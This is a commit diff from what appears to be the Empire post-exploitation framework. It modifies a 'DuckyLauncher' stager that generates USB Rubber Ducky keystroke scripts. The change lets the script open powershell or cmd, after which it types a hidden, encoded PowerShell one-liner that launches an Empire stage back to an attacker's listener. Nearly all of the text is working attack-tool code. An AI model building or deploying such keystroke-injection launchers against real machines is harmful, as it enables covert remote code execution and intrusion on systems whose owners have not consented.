Merge pull request #500 from tkisason/ducky_edit

Modified the ducky stager to use custom interpreter
mdns
Chris Ross 2017-05-13 23:35:43 -04:00 committed by GitHub
commit dd0de873f8
1 changed files with 11 additions and 5 deletions

View File

@ -7,7 +7,7 @@ class Stager:
self.info = { self.info = {
'Name': 'DuckyLauncher', 'Name': 'DuckyLauncher',
'Author': ['@harmj0y'], 'Author': ['@harmj0y','@kisasondi'],
'Description': ('Generates a ducky script that runes a one-liner stage0 launcher for Empire.'), 'Description': ('Generates a ducky script that runes a one-liner stage0 launcher for Empire.'),
@ -30,6 +30,11 @@ class Stager:
'Required' : True, 'Required' : True,
'Value' : 'powershell' 'Value' : 'powershell'
}, },
'Interpreter' : {
'Description' : 'Which interpreter do you want? (powershell or cmd)',
'Required' : False,
'Value' : 'powershell'
},
'StagerRetries' : { 'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.', 'Description' : 'Times for the stager to retry connecting.',
'Required' : False, 'Required' : False,
@ -72,6 +77,7 @@ class Stager:
# extract all of our options # extract all of our options
language = self.options['Language']['Value'] language = self.options['Language']['Value']
interpreter = self.options['Interpreter']['Value']
listenerName = self.options['Listener']['Value'] listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value'] userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value'] proxy = self.options['Proxy']['Value']
@ -81,7 +87,7 @@ class Stager:
# generate the launcher code # generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "": if launcher == "" or interpreter == "":
print helpers.color("[!] Error in launcher command generation.") print helpers.color("[!] Error in launcher command generation.")
return "" return ""
else: else:
@ -90,7 +96,7 @@ class Stager:
duckyCode = "DELAY 3000\n" duckyCode = "DELAY 3000\n"
duckyCode += "GUI r\n" duckyCode += "GUI r\n"
duckyCode += "DELAY 1000\n" duckyCode += "DELAY 1000\n"
duckyCode += "STRING cmd\n" duckyCode += "STRING "+ interpreter + "\n"
duckyCode += "ENTER\n" duckyCode += "ENTER\n"
duckyCode += "DELAY 2000\n" duckyCode += "DELAY 2000\n"
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n" duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"